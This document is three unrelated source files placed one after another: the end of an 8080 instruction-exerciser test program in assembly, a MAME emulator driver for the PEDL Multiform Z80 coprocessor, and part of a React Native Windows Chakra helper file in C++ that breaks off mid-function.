inx h
inx d
shflp2: mov m,a
xra a ; set Z
shlpe: pop h
pop d
pop b
ret
shflp1: inx h
inx d
jmp shflp
counter: ds 2*20
shifter: ds 2*20
; test harness
test: push psw
push b
push d
push h
if 0
lxi d,crlf
mvi c,9
call bdos
lxi h,iut
mvi b,4
call hexstr
mvi e,' '
mvi c,2
call bdos
mvi b,16
lxi h,msbt
call hexstr
endif
di ; disable interrupts
;#idb ld (spsav),sp replaced by following code
;#idb All registers and flages are immediately overwritten so
;#idb no need to preserve any state.
lxi h,0 ; save stack pointer
dad sp
shld spsav
;#idb
lxi sp,msbt+2 ; point to test-case machine state
;#idb pop iy
;#idb pop ix both replaced by following code
;#idb Just dummy out ix/iy with copies of hl
pop h ; and load all regs
pop h
;#idb
pop h
pop d
pop b
pop psw
;#idb ld sp,(spbt) replaced with the following code
;#idb HL is copied/restored before/after load so no state changed
shld temp
lhld spbt
sphl
lhld temp
;#idb
iut: ds 4 ; max 4 byte instruction under test
;#idb ld (spat),sp replaced with the following code
;#idb Must be very careful to preserve registers and flag
;#idb state resulting from the test. The temptation is to use the
;#idb stack - but that doesn't work because of the way the app
;#idb uses SP as a quick way of pointing to memory.
;#idb Bit of a code smell, but I can't think of an easier way.
shld temp
lxi h,0
jc temp1 ;jump on the state of the C flag set in the test
dad sp ;this code will clear the C flag (0 + nnnn = nc)
jmp temp2 ;C flag is same state as before
temp1: dad sp ;this code will clear the C flag (0 + nnnn = nc)
stc ;C flage needs re-setting to preserve state
temp2: shld spat
lhld temp
;#idb
lxi sp,spat
push psw ; save other registers
push b
push d
push h
;#idb push ix
;#idb push iy both replaced by following code
;#idb Must match change made to pops made before test
push h
push h
;#idb
;#idb ld sp,(spsav) replaced with following code
;#idb No need to preserve state
lhld spsav ; restore stack pointer
sphl
;#idb
ei ; enable interrupts
lhld msbt ; copy memory operand
shld msat
lxi h,flgsat ; flags after test
mov a,m
flgmsk: ani 0ffh ; mask-out irrelevant bits (self-modified code!)
mov m,a
mvi b,16 ; total of 16 bytes of state
lxi d,msat
lxi h,crcval
tcrc: ldax d
inx d
call updcrc ; accumulate crc of this test case
dcr b
jnz tcrc
if 0
mvi e,' '
mvi c,2
call bdos
lxi h,crcval
call phex8
lxi d,crlf
mvi c,9
call bdos
lxi h,msat
mvi b,16
call hexstr
lxi d,crlf
mvi c,9
call bdos
endif
pop h
pop d
pop b
pop psw
ret
;#idb Added to store HL state
temp: ds 2
;#idb
; machine state after test
msat: ds 14 ; memop,iy,ix,hl,de,bc,af
spat: ds 2 ; stack pointer after test
flgsat equ spat-2 ; flags
spsav: ds 2 ; saved stack pointer
; display hex string (pointer in hl, byte count in b)
hexstr: mov a,m
call phex2
inx h
dcr b
jnz hexstr
ret
; display hex
; display the big-endian 32-bit value pointed to by hl
phex8: push psw
push b
push h
mvi b,4
ph8lp: mov a,m
call phex2
inx h
dcr b
jnz ph8lp
pop h
pop b
pop psw
ret
; display byte in a
phex2: push psw
rrc
rrc
rrc
rrc
call phex1
pop psw
; fall through
; display low nibble in a
phex1: push psw
push b
push d
push h
ani 0fh
cpi 10
jc ph11
adi 'a'-'9'-1
ph11: adi '0'
mov e,a
mvi c,2
call bdos
pop h
pop d
pop b
pop psw
ret
bdos: push psw
push b
push d
push h
call 5
pop h
pop d
pop b
pop psw
ret
msg1: db '8080 instruction exerciser (KR580VM80A CPU)',10,13,'$'
msg2: db 'Tests complete$'
okmsg: db ' OK',10,13,'$'
ermsg1: db ' ERROR **** crc expected:$'
ermsg2: db ' found:$'
crlf: db 10,13,'$'
; compare crc
; hl points to value to compare to crcval
cmpcrc: push b
push d
push h
lxi d,crcval
mvi b,4
cclp: ldax d
cmp m
jnz cce
inx h
inx d
dcr b
jnz cclp
cce: pop h
pop d
pop b
ret
; 32-bit crc routine
; entry: a contains next byte, hl points to crc
; exit: crc updated
updcrc: push psw
push b
push d
push h
push h
lxi d,3
dad d ; point to low byte of old crc
xra m ; xor with new byte
mov l,a
mvi h,0
dad h ; use result as index into table of 4 byte entries
dad h
xchg
lxi h,crctab
dad d ; point to selected entry in crctab
xchg
pop h
lxi b,4 ; c = byte count, b = accumulator
crclp: ldax d
xra b
mov b,m
mov m,a
inx d
inx h
dcr c
jnz crclp
if 0
lxi h,crcval
call phex8
lxi d,crlf
mvi c,9
call bdos
endif
pop h
pop d
pop b
pop psw
ret
initcrc:push psw
push b
push h
lxi h,crcval
mvi a,0ffh
mvi b,4
icrclp: mov m,a
inx h
dcr b
jnz icrclp
pop h
pop b
pop psw
ret
crcval: ds 4
crctab: db 000h,000h,000h,000h
db 077h,007h,030h,096h
db 0eeh,00eh,061h,02ch
db 099h,009h,051h,0bah
db 007h,06dh,0c4h,019h
db 070h,06ah,0f4h,08fh
db 0e9h,063h,0a5h,035h
db 09eh,064h,095h,0a3h
db 00eh,0dbh,088h,032h
db 079h,0dch,0b8h,0a4h
db 0e0h,0d5h,0e9h,01eh
db 097h,0d2h,0d9h,088h
db 009h,0b6h,04ch,02bh
db 07eh,0b1h,07ch,0bdh
db 0e7h,0b8h,02dh,007h
db 090h,0bfh,01dh,091h
db 01dh,0b7h,010h,064h
db 06ah,0b0h,020h,0f2h
db 0f3h,0b9h,071h,048h
db 084h,0beh,041h,0deh
db 01ah,0dah,0d4h,07dh
db 06dh,0ddh,0e4h,0ebh
db 0f4h,0d4h,0b5h,051h
db 083h,0d3h,085h,0c7h
db 013h,06ch,098h,056h
db 064h,06bh,0a8h,0c0h
db 0fdh,062h,0f9h,07ah
db 08ah,065h,0c9h,0ech
db 014h,001h,05ch,04fh
db 063h,006h,06ch,0d9h
db 0fah,00fh,03dh,063h
db 08dh,008h,00dh,0f5h
db 03bh,06eh,020h,0c8h
db 04ch,069h,010h,05eh
db 0d5h,060h,041h,0e4h
db 0a2h,067h,071h,072h
db 03ch,003h,0e4h,0d1h
db 04bh,004h,0d4h,047h
db 0d2h,00dh,085h,0fdh
db 0a5h,00ah,0b5h,06bh
db 035h,0b5h,0a8h,0fah
db 042h,0b2h,098h,06ch
db 0dbh,0bbh,0c9h,0d6h
db 0ach,0bch,0f9h,040h
db 032h,0d8h,06ch,0e3h
db 045h,0dfh,05ch,075h
db 0dch,0d6h,00dh,0cfh
db 0abh,0d1h,03dh,059h
db 026h,0d9h,030h,0ach
db 051h,0deh,000h,03ah
db 0c8h,0d7h,051h,080h
db 0bfh,0d0h,061h,016h
db 021h,0b4h,0f4h,0b5h
db 056h,0b3h,0c4h,023h
db 0cfh,0bah,095h,099h
db 0b8h,0bdh,0a5h,00fh
db 028h,002h,0b8h,09eh
db 05fh,005h,088h,008h
db 0c6h,00ch,0d9h,0b2h
db 0b1h,00bh,0e9h,024h
db 02fh,06fh,07ch,087h
db 058h,068h,04ch,011h
db 0c1h,061h,01dh,0abh
db 0b6h,066h,02dh,03dh
db 076h,0dch,041h,090h
db 001h,0dbh,071h,006h
db 098h,0d2h,020h,0bch
db 0efh,0d5h,010h,02ah
db 071h,0b1h,085h,089h
db 006h,0b6h,0b5h,01fh
db 09fh,0bfh,0e4h,0a5h
db 0e8h,0b8h,0d4h,033h
db 078h,007h,0c9h,0a2h
db 00fh,000h,0f9h,034h
db 096h,009h,0a8h,08eh
db 0e1h,00eh,098h,018h
db 07fh,06ah,00dh,0bbh
db 008h,06dh,03dh,02dh
db 091h,064h,06ch,097h
db 0e6h,063h,05ch,001h
db 06bh,06bh,051h,0f4h
db 01ch,06ch,061h,062h
db 085h,065h,030h,0d8h
db 0f2h,062h,000h,04eh
db 06ch,006h,095h,0edh
db 01bh,001h,0a5h,07bh
db 082h,008h,0f4h,0c1h
db 0f5h,00fh,0c4h,057h
db 065h,0b0h,0d9h,0c6h
db 012h,0b7h,0e9h,050h
db 08bh,0beh,0b8h,0eah
db 0fch,0b9h,088h,07ch
db 062h,0ddh,01dh,0dfh
db 015h,0dah,02dh,049h
db 08ch,0d3h,07ch,0f3h
db 0fbh,0d4h,04ch,065h
db 04dh,0b2h,061h,058h
db 03ah,0b5h,051h,0ceh
db 0a3h,0bch,000h,074h
db 0d4h,0bbh,030h,0e2h
db 04ah,0dfh,0a5h,041h
db 03dh,0d8h,095h,0d7h
db 0a4h,0d1h,0c4h,06dh
db 0d3h,0d6h,0f4h,0fbh
db 043h,069h,0e9h,06ah
db 034h,06eh,0d9h,0fch
db 0adh,067h,088h,046h
db 0dah,060h,0b8h,0d0h
db 044h,004h,02dh,073h
db 033h,003h,01dh,0e5h
db 0aah,00ah,04ch,05fh
db 0ddh,00dh,07ch,0c9h
db 050h,005h,071h,03ch
db 027h,002h,041h,0aah
db 0beh,00bh,010h,010h
db 0c9h,00ch,020h,086h
db 057h,068h,0b5h,025h
db 020h,06fh,085h,0b3h
db 0b9h,066h,0d4h,009h
db 0ceh,061h,0e4h,09fh
db 05eh,0deh,0f9h,00eh
db 029h,0d9h,0c9h,098h
db 0b0h,0d0h,098h,022h
db 0c7h,0d7h,0a8h,0b4h
db 059h,0b3h,03dh,017h
db 02eh,0b4h,00dh,081h
db 0b7h,0bdh,05ch,03bh
db 0c0h,0bah,06ch,0adh
db 0edh,0b8h,083h,020h
db 09ah,0bfh,0b3h,0b6h
db 003h,0b6h,0e2h,00ch
db 074h,0b1h,0d2h,09ah
db 0eah,0d5h,047h,039h
db 09dh,0d2h,077h,0afh
db 004h,0dbh,026h,015h
db 073h,0dch,016h,083h
db 0e3h,063h,00bh,012h
db 094h,064h,03bh,084h
db 00dh,06dh,06ah,03eh
db 07ah,06ah,05ah,0a8h
db 0e4h,00eh,0cfh,00bh
db 093h,009h,0ffh,09dh
db 00ah,000h,0aeh,027h
db 07dh,007h,09eh,0b1h
db 0f0h,00fh,093h,044h
db 087h,008h,0a3h,0d2h
db 01eh,001h,0f2h,068h
db 069h,006h,0c2h,0feh
db 0f7h,062h,057h,05dh
db 080h,065h,067h,0cbh
db 019h,06ch,036h,071h
db 06eh,06bh,006h,0e7h
db 0feh,0d4h,01bh,076h
db 089h,0d3h,02bh,0e0h
db 010h,0dah,07ah,05ah
db 067h,0ddh,04ah,0cch
db 0f9h,0b9h,0dfh,06fh
db 08eh,0beh,0efh,0f9h
db 017h,0b7h,0beh,043h
db 060h,0b0h,08eh,0d5h
db 0d6h,0d6h,0a3h,0e8h
db 0a1h,0d1h,093h,07eh
db 038h,0d8h,0c2h,0c4h
db 04fh,0dfh,0f2h,052h
db 0d1h,0bbh,067h,0f1h
db 0a6h,0bch,057h,067h
db 03fh,0b5h,006h,0ddh
db 048h,0b2h,036h,04bh
db 0d8h,00dh,02bh,0dah
db 0afh,00ah,01bh,04ch
db 036h,003h,04ah,0f6h
db 041h,004h,07ah,060h
db 0dfh,060h,0efh,0c3h
db 0a8h,067h,0dfh,055h
db 031h,06eh,08eh,0efh
db 046h,069h,0beh,079h
db 0cbh,061h,0b3h,08ch
db 0bch,066h,083h,01ah
db 025h,06fh,0d2h,0a0h
db 052h,068h,0e2h,036h
db 0cch,00ch,077h,095h
db 0bbh,00bh,047h,003h
db 022h,002h,016h,0b9h
db 055h,005h,026h,02fh
db 0c5h,0bah,03bh,0beh
db 0b2h,0bdh,00bh,028h
db 02bh,0b4h,05ah,092h
db 05ch,0b3h,06ah,004h
db 0c2h,0d7h,0ffh,0a7h
db 0b5h,0d0h,0cfh,031h
db 02ch,0d9h,09eh,08bh
db 05bh,0deh,0aeh,01dh
db 09bh,064h,0c2h,0b0h
db 0ech,063h,0f2h,026h
db 075h,06ah,0a3h,09ch
db 002h,06dh,093h,00ah
db 09ch,009h,006h,0a9h
db 0ebh,00eh,036h,03fh
db 072h,007h,067h,085h
db 005h,000h,057h,013h
db 095h,0bfh,04ah,082h
db 0e2h,0b8h,07ah,014h
db 07bh,0b1h,02bh,0aeh
db 00ch,0b6h,01bh,038h
db 092h,0d2h,08eh,09bh
db 0e5h,0d5h,0beh,00dh
db 07ch,0dch,0efh,0b7h
db 00bh,0dbh,0dfh,021h
db 086h,0d3h,0d2h,0d4h
db 0f1h,0d4h,0e2h,042h
db 068h,0ddh,0b3h,0f8h
db 01fh,0dah,083h,06eh
db 081h,0beh,016h,0cdh
db 0f6h,0b9h,026h,05bh
db 06fh,0b0h,077h,0e1h
db 018h,0b7h,047h,077h
db 088h,008h,05ah,0e6h
db 0ffh,00fh,06ah,070h
db 066h,006h,03bh,0cah
db 011h,001h,00bh,05ch
db 08fh,065h,09eh,0ffh
db 0f8h,062h,0aeh,069h
db 061h,06bh,0ffh,0d3h
db 016h,06ch,0cfh,045h
db 0a0h,00ah,0e2h,078h
db 0d7h,00dh,0d2h,0eeh
db 04eh,004h,083h,054h
db 039h,003h,0b3h,0c2h
db 0a7h,067h,026h,061h
db 0d0h,060h,016h,0f7h
db 049h,069h,047h,04dh
db 03eh,06eh,077h,0dbh
db 0aeh,0d1h,06ah,04ah
db 0d9h,0d6h,05ah,0dch
db 040h,0dfh,00bh,066h
db 037h,0d8h,03bh,0f0h
db 0a9h,0bch,0aeh,053h
db 0deh,0bbh,09eh,0c5h
db 047h,0b2h,0cfh,07fh
db 030h,0b5h,0ffh,0e9h
db 0bdh,0bdh,0f2h,01ch
db 0cah,0bah,0c2h,08ah
db 053h,0b3h,093h,030h
db 024h,0b4h,0a3h,0a6h
db 0bah,0d0h,036h,005h
db 0cdh,0d7h,006h,093h
db 054h,0deh,057h,029h
db 023h,0d9h,067h,0bfh
db 0b3h,066h,07ah,02eh
db 0c4h,061h,04ah,0b8h
db 05dh,068h,01bh,002h
db 02ah,06fh,02bh,094h
db 0b4h,00bh,0beh,037h
db 0c3h,00ch,08eh,0a1h
db 05ah,005h,0dfh,01bh
db 02dh,002h,0efh,08dh
end
|
// license:BSD-3-Clause
// copyright-holders:Nigel Barnes
/**********************************************************************
PEDL Multiform Z80 2nd processor
http://chrisacorns.computinghistory.org.uk/8bit_Upgrades/Technomatic_MultiformZ80.html
TODO:
- Find utility disc, library disc, and manual
**********************************************************************/
#include "emu.h"
#include "multiform.h"
#include "softlist_dev.h"
//**************************************************************************
// DEVICE DEFINITIONS
//**************************************************************************
DEFINE_DEVICE_TYPE(BBC_MULTIFORM, bbc_multiform_device, "bbc_multiform", "PEDL Multiform Z80")
//-------------------------------------------------
// ADDRESS_MAP( z80_mem )
//-------------------------------------------------
void bbc_multiform_device::z80_mem(address_map &map)
{
map(0x0000, 0xffff).rw(FUNC(bbc_multiform_device::mem_r), FUNC(bbc_multiform_device::mem_w));
}
//-------------------------------------------------
// ADDRESS_MAP( z80_io )
//-------------------------------------------------
void bbc_multiform_device::z80_io(address_map &map)
{
map.global_mask(0xff);
map(0x00, 0x00).r(m_host_latch[0], FUNC(generic_latch_8_device::read)).w(m_parasite_latch[0], FUNC(generic_latch_8_device::write));
map(0x01, 0x01).r(m_host_latch[1], FUNC(generic_latch_8_device::read)).w(m_parasite_latch[1], FUNC(generic_latch_8_device::write));
map(0x80, 0x80).w(FUNC(bbc_multiform_device::rom_disable_w));
}
//-------------------------------------------------
// ROM( multiform )
//-------------------------------------------------
ROM_START(multiform)
ROM_REGION(0x2000, "osm", 0)
ROM_LOAD("osmv200.rom", 0x0000, 0x2000, CRC(67ce1713) SHA1(314ee6211a7af6cab659640fbdd11f1078460f08))
ROM_REGION(0x4000, "exp_rom", 0)
ROM_LOAD("osmz80v137.rom", 0x0000, 0x4000, CRC(79a8de8f) SHA1(0bc06ce54ab9a2242294bbbe9ce8f07e464bb674))
ROM_END
//-------------------------------------------------
// device_add_mconfig - add device configuration
//-------------------------------------------------
void bbc_multiform_device::device_add_mconfig(machine_config &config)
{
Z80(config, m_z80, 8_MHz_XTAL / 2);
m_z80->set_addrmap(AS_PROGRAM, &bbc_multiform_device::z80_mem);
m_z80->set_addrmap(AS_IO, &bbc_multiform_device::z80_io);
m_z80->set_irq_acknowledge_callback(FUNC(bbc_multiform_device::irq_callback));
/* 74ls374 */
GENERIC_LATCH_8(config, m_host_latch[0]);
GENERIC_LATCH_8(config, m_host_latch[1]);
GENERIC_LATCH_8(config, m_parasite_latch[0]);
GENERIC_LATCH_8(config, m_parasite_latch[1]);
/* software lists */
SOFTWARE_LIST(config, "flop_ls_z80").set_original("bbc_flop_z80");
}
//-------------------------------------------------
// rom_region - device-specific ROM region
//-------------------------------------------------
const tiny_rom_entry *bbc_multiform_device::device_rom_region() const
{
return ROM_NAME( multiform );
}
//**************************************************************************
// LIVE DEVICE
//**************************************************************************
//-------------------------------------------------
// bbc_multiform_device - constructor
//-------------------------------------------------
bbc_multiform_device::bbc_multiform_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock)
: device_t(mconfig, BBC_MULTIFORM, tag, owner, clock)
, device_bbc_1mhzbus_interface(mconfig, *this)
, m_z80(*this, "z80")
, m_host_latch(*this, "host_latch%u", 0U)
, m_parasite_latch(*this, "parasite_latch%u", 0U)
, m_osm(*this, "osm")
, m_rom_enabled(true)
{
}
//-------------------------------------------------
// device_start - device-specific startup
//-------------------------------------------------
void bbc_multiform_device::device_start()
{
m_ram = std::make_unique<uint8_t[]>(0x10000);
/* register for save states */
save_pointer(NAME(m_ram), 0x10000);
save_item(NAME(m_rom_enabled));
}
//-------------------------------------------------
// device_reset - device-specific reset
//-------------------------------------------------
void bbc_multiform_device::device_reset()
{
m_rom_enabled = true;
}
//**************************************************************************
// IMPLEMENTATION
//**************************************************************************
uint8_t bbc_multiform_device::fred_r(offs_t offset)
{
uint8_t data = 0xff;
switch (offset)
{
case 0x00:
data = m_parasite_latch[0]->read();
break;
case 0x01:
data = m_parasite_latch[1]->read();
break;
}
return data;
}
void bbc_multiform_device::fred_w(offs_t offset, uint8_t data)
{
switch (offset)
{
case 0x00:
m_host_latch[0]->write(data);
break;
case 0x01:
m_host_latch[1]->write(data);
break;
}
}
uint8_t bbc_multiform_device::mem_r(offs_t offset)
{
uint8_t data;
if (m_rom_enabled && offset < 0x2000)
data = m_osm->base()[offset & 0x1fff];
else
data = m_ram[offset];
return data;
}
void bbc_multiform_device::mem_w(offs_t offset, uint8_t data)
{
m_ram[offset] = data;
}
void bbc_multiform_device::rom_disable_w(uint8_t data)
{
if (!machine().side_effects_disabled())
m_rom_enabled = false;
}
//-------------------------------------------------
// irq vector callback
//-------------------------------------------------
IRQ_CALLBACK_MEMBER(bbc_multiform_device::irq_callback)
{
return 0xfe;
}
|
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
#include "pch.h"
#include "ChakraHelpers.h"
#include "ChakraUtils.h"
#include "ChakraValue.h"
#include "Unicode.h"
#ifdef WITH_FBSYSTRACE
#include <fbsystrace.h>
#endif
#include <folly/Memory.h>
#include <folly/String.h>
#include <glog/logging.h>
#include <cxxreact/ReactMarker.h>
#include <windows.h>
#include <algorithm>
#include <cstdio>
#include <cstdlib>
#include <future>
#include <memory>
#include <string>
#include <thread>
#include <type_traits>
namespace facebook {
namespace react {
#if !defined(USE_EDGEMODE_JSRT)
namespace {
template <class T>
size_t fwrite(T *p, size_t count, FILE *file) noexcept {
static_assert(std::is_trivially_copyable<T>::value, "T must be trivially copyable to be serialized into a file");
return fwrite(p, sizeof(*p), count, file);
}
template <class T>
bool fwrite(const T &val, FILE *file) noexcept {
return fwrite(&val, 1, file) == 1;
}
#if !defined(CHAKRACORE_UWP)
struct FileVersionInfoResource {
uint16_t len;
uint16_t valLen;
uint16_t type;
wchar_t key[_countof(L"VS_VERSION_INFO")];
uint16_t padding1;
VS_FIXEDFILEINFO fixedFileInfo;
uint32_t padding2;
};
#endif
class ChakraVersionInfo {
public:
ChakraVersionInfo() noexcept : m_fileVersionMS{0}, m_fileVersionLS{0}, m_productVersionMS{0}, m_productVersionLS{0} {}
bool initialize() noexcept {
#if !defined(CHAKRACORE_UWP)
// This code is win32 only at the moment. We will need to change this
// line if we want to support UWP.
constexpr wchar_t chakraDllName[] = L"ChakraCore.dll";
auto freeLibraryWrapper = [](void *p) { FreeLibrary((HMODULE)p); };
HMODULE moduleHandle;
if (!GetModuleHandleExW(0, chakraDllName, &moduleHandle)) {
return false;
}
std::unique_ptr<void, decltype(freeLibraryWrapper)> moduleHandleWrapper(
moduleHandle, std::move(freeLibraryWrapper));
HRSRC versionResourceHandle = FindResourceW(moduleHandle, MAKEINTRESOURCE(VS_VERSION_INFO), RT_VERSION);
if (!versionResourceHandle ||
SizeofResource(static_cast<HMODULE>(moduleHandleWrapper.get()), versionResourceHandle) <
sizeof(FileVersionInfoResource)) {
return false;
}
HGLOBAL versionResourcePtrHandle = LoadResource(moduleHandle, versionResourceHandle);
if (!versionResourcePtrHandle) {
return false;
}
FileVersionInfoResource *chakraVersionInfo =
static_cast<FileVersionInfoResource *>(LockResource(versionResourcePtrHandle));
if (!chakraVersionInfo) {
return false;
}
m_fileVersionMS = chakraVersionInfo->fixedFileInfo.dwFileVersionMS;
m_fileVersionLS = chakraVersionInfo->fixedFileInfo.dwFileVersionLS;
m_productVersionMS = chakraVersionInfo->fixedFileInfo.dwProductVersionMS;
m_productVersionLS = chakraVersionInfo->fixedFileInfo.dwProductVersionLS;
#endif
return true;
}
bool operator==(const ChakraVersionInfo &rhs) const noexcept {
return (m_fileVersionMS == rhs.m_fileVersionMS) && (m_fileVersionLS == rhs.m_fileVersionLS) &&
(m_productVersionMS == rhs.m_productVersionMS) && (m_productVersionLS == rhs.m_productVersionLS);
}
bool operator!=(const ChakraVersionInfo &rhs) const noexcept {
return !(*this == rhs);
}
private:
uint32_t m_fileVersionMS;
uint32_t m_fileVersionLS;
uint32_t m_productVersionMS;
uint32_t m_productVersionLS;
};
class BytecodePrefix {
public:
static std::pair<bool, BytecodePrefix> getBytecodePrefix(uint64_t bundleVersion) noexcept {
std::pair<bool, BytecodePrefix> result{false, BytecodePrefix{bundleVersion}};
result.first = result.second.m_chakraVersionInfo.initialize();
return result;
}
bool operator==(const BytecodePrefix &rhs) const noexcept {
return (m_bytecodeFileFormatVersion == rhs.m_bytecodeFileFormatVersion) &&
(m_bundleVersion == rhs.m_bundleVersion) && (m_chakraVersionInfo == rhs.m_chakraVersionInfo);
}
bool operator!=(const BytecodePrefix &rhs) const noexcept {
return !(*this == rhs);
}
private:
uint64_t m_bytecodeFileFormatVersion;
uint64_t m_bundleVersion;
ChakraVersionInfo m_chakraVersionInfo;
static constexpr uint32_t s_bytecodeFileFormatVersion = 2;
BytecodePrefix(uint64_t bundleVersion) noexcept
: m_bytecodeFileFormatVersion{s_bytecodeFileFormatVersion},
m_bundleVersion{bundleVersion},
m_chakraVersionInfo{} {}
};
void serializeBytecodeToFileCore(
const std::shared_ptr<const JSBigString> &script,
const BytecodePrefix &bytecodePrefix,
const std::string &bytecodeFileName) {
FILE *bytecodeFilePtr;
// bytecode is a binary representation, so we need to pass in the "b" flag to
// fopen_s
if (_wfopen_s(&bytecodeFilePtr, Microsoft::Common::Unicode::Utf8ToUtf16(bytecodeFileName).c_str(), L"wb")) {
return;
}
std::unique_ptr<FILE, decltype(&fclose)> bytecodeFilePtrWrapper(bytecodeFilePtr, fclose);
const std::wstring scriptUTF16 = Microsoft::Common::Unicode::Utf8ToUtf16(script->c_str(), script->size());
unsigned int bytecodeSize = 0;
if (JsSerializeScript(scriptUTF16.c_str(), nullptr, &bytecodeSize) != JsNoError) {
return;
}
std::unique_ptr<uint8_t[]> bytecode(std::make_unique<uint8_t[]>(bytecodeSize));
if (JsSerializeScript(scriptUTF16.c_str(), bytecode.get(), &bytecodeSize) != JsNoError) {
return;
}
constexpr size_t bytecodePrefixSize = sizeof(bytecodePrefix);
uint8_t zeroArray[sizeof(bytecodePrefix)]{};
if (fwrite(zeroArray, bytecodePrefixSize, bytecodeFilePtrWrapper.get()) != bytecodePrefixSize ||
fwrite(bytecode.get(), bytecodeSize, bytecodeFilePtrWrapper.get()) != bytecodeSize ||
fflush(bytecodeFilePtrWrapper.get())) {
return;
}
fseek(bytecodeFilePtrWrapper.get(), 0, SEEK_SET);
if (!fwrite(bytecodePrefix, bytecodeFilePtrWrapper.get()) || fflush(bytecodeFilePtrWrapper.get())) {
return;
}
}
std::unique_ptr<JSBigString> tryGetBytecode(const BytecodePrefix &bytecodePrefix, const std::string &bytecodeFileName) {
auto bytecodeBigStringPtr =
std::make_unique<FileMappingBigString>(bytecodeFileName, static_cast<uint32_t>(sizeof(BytecodePrefix)));
if (!bytecodeBigStringPtr->file_data() || bytecodeBigStringPtr->file_size() < sizeof(bytecodePrefix) ||
*reinterpret_cast<const BytecodePrefix *>(bytecodeBigStringPtr->file_data()) != bytecodePrefix) {
return nullptr;
}
return bytecodeBigStringPtr;
}
void serializeBytecodeToFile(
const std::shared_ptr<const JSBigString> &script,
const BytecodePrefix &bytecodePrefix,
std::string &&bytecodeFileName,
bool async) {
std::future<void> bytecodeSerializationFuture = std::async(
std::launch::async,
[](const std::shared_ptr<const JSBigString> &script,
const BytecodePrefix &bytecodePrefix,
const std::string &bytecodeFileName) {
MinimalChakraRuntime chakraRuntime(false /* multithreaded */);
serializeBytecodeToFileCore(script, bytecodePrefix, bytecodeFileName);
},
script,
bytecodePrefix,
std::move(bytecodeFileName));
if (!async) {
bytecodeSerializationFuture.wait();
}
}
} // namespace
#endif
MinimalChakraRuntime::MinimalChakraRuntime(bool multithreaded)
: runtime{new JsRuntimeHandle,
[](JsRuntimeHandle *h) {
JsDisposeRuntime(*h);
delete h;
}},
context{new JsContextRef, [](JsContextRef *c) {
JsSetCurrentContext(JS_INVALID_REFERENCE);
delete c;
}} {
JsErrorCode lastError = JsCreateRuntime(
multithreaded ? JsRuntimeAttributeNone : JsRuntimeAttributeDisableBackgroundWork, nullptr, &(*runtime));
assert(lastError == JsNoError && "JsCreateRuntime failed in MinimalChakraRuntime constructor.");
lastError = JsCreateContext(*runtime, &(*context));
assert(lastError == JsNoError && "JsCreateContext failed in MinimalChakraRuntime constructor.");
lastError = JsSetCurrentContext(*context);
assert(lastError == JsNoError && "JsSetCurrentContext failed in MinimalChakraRuntime constructor.");
}
JsValueRef functionCaller(
JsContextRef ctx,
JsValueRef /*function*/,
JsValueRef thisObject,
size_t argumentCount,
const JsValueRef arguments[],
JsValueRef * /*exception*/) {
// JsContextRef ctx;
// JsGetCurrentContext(&ctx);
void *voidPtr;
JsGetContextData(ctx, &voidPtr);
auto *f = static_cast<ChakraJSFunction *>(voidPtr);
return (*f)(ctx, thisObject, argumentCount, arguments);
}
JsValueRef makeFunction(JsValueRef name, ChakraJSFunction function) {
// dealloc in kClassDef.finalize
ChakraJSFunction *functionPtr = new ChakraJSFunction(std::move(function));
JsValueRef value;
JsCreateExternalObject(functionPtr, nullptr /*JsFinalizeCallback*/, &value);
auto functionObject = ChakraObject(value);
functionObject.setProperty("name", ChakraValue(name));
return functionObject;
}
void ChakraJSException::buildMessage(JsValueRef exn, JsValueRef sourceURL, const char *errorMsg) {
std::ostringstream msgBuilder;
if (errorMsg && strlen(errorMsg) > 0) {
msgBuilder << errorMsg << ": ";
}
ChakraValue exnValue = ChakraValue(exn);
msgBuilder << exnValue.toString().str();
// The null/empty-ness of source tells us if the JS came from a
// file/resource, or was a constructed statement. The location
// info will include that source, if any.
std::string locationInfo = sourceURL != nullptr ? ChakraString::ref(sourceURL).str() : "";
ChakraObject exnObject = exnValue.asObject();
auto line = exnObject.getProperty("line");
if (line != nullptr && line.isNumber()) {
if (locationInfo.empty() && line.asInteger() != 1) {
// If there is a non-trivial line number, but there was no
// location info, we include a placeholder, and the line
// number.
locationInfo = folly::to<std::string>("<unknown file>:", line.asInteger());
} else if (!locationInfo.empty()) {
// If there is location info, we always include the line
// number, regardless of its value.
locationInfo += folly::to<std::string>(":", line.asInteger());
}
}
if (!locationInfo.empty()) {
msgBuilder << " (" << locationInfo << ")";
}
auto exceptionText = msgBuilder.str();
LOG(ERROR) << "Got JS Exception: " << exceptionText;
msg_ = std::move(exceptionText);
ChakraValue jsStack = exnObject.getProperty("stack");
if (jsStack.isString()) {
auto stackText = jsStack.toString().str();
LOG(ERROR) << "Got JS Stack: " << stackText;
stack_ = std::move(stackText);
}
}
JsValueRef makeFunction(const char *name, ChakraJSFunction function) {
return makeFunction(ChakraString(name), std::move(function));
}
void installGlobalFunction(const char *name, ChakraJSFunction function) {
auto jsName = ChakraString(name);
auto functionObj = makeFunction(jsName, std::move(function));
ChakraObject::getGlobalObject().setProperty(jsName, ChakraValue(functionObj));
}
JsValueRef makeFunction(const char *name, JsNativeFunction callback) {
auto jsName = ChakraString(name);
JsValueRef functionObj;
JsCreateNamedFunction(jsName, callback, nullptr /*callbackstate*/, &functionObj);
return functionObj;
}
void installGlobalFunction(const char *name, JsNativeFunction callback) {
ChakraString jsName(name);
JsValueRef functionObj;
JsCreateNamedFunction(jsName, callback, nullptr /*callbackstate*/, &functionObj);
ChakraObject::getGlobalObject().setProperty(jsName, ChakraValue(functionObj));
}
void removeGlobal(const char *name) {
ChakraObject::getGlobalObject().setProperty(name, ChakraValue::makeUndefined());
}
JsSourceContext getNextSourceContext() {
static JsSourceContext nextSourceContext = 0;
return nextSourceContext++;
}
JsValueRef evaluateScript(JsValueRef script, JsValueRef source) {
JsValueRef exn = nullptr;
JsValueRef value = nullptr;
#if defined(USE_EDGEMODE_JSRT)
const wchar_t *scriptRaw;
size_t scriptRawLength;
JsStringToPointer(script, &scriptRaw, &scriptRawLength);
const wchar_t *sourceRaw;
size_t sourceRawLength;
JsStringToPointer(source, &sourceRaw, &sourceRawLength);
auto result = JsRunScript(scriptRaw, JS_SOURCE_CONTEXT_NONE /*sourceContext*/, sourceRaw, &value);
#else
JsSourceContext sourceContext = getNextSourceContext();
auto result = JsRun(script, sourceContext, source, JsParseScriptAttributeNone, &value);
#endif
bool hasException = false;
if (result == JsErrorInExceptionState || (JsHasException(&hasException), hasException)) {
JsGetAndClearException(&exn);
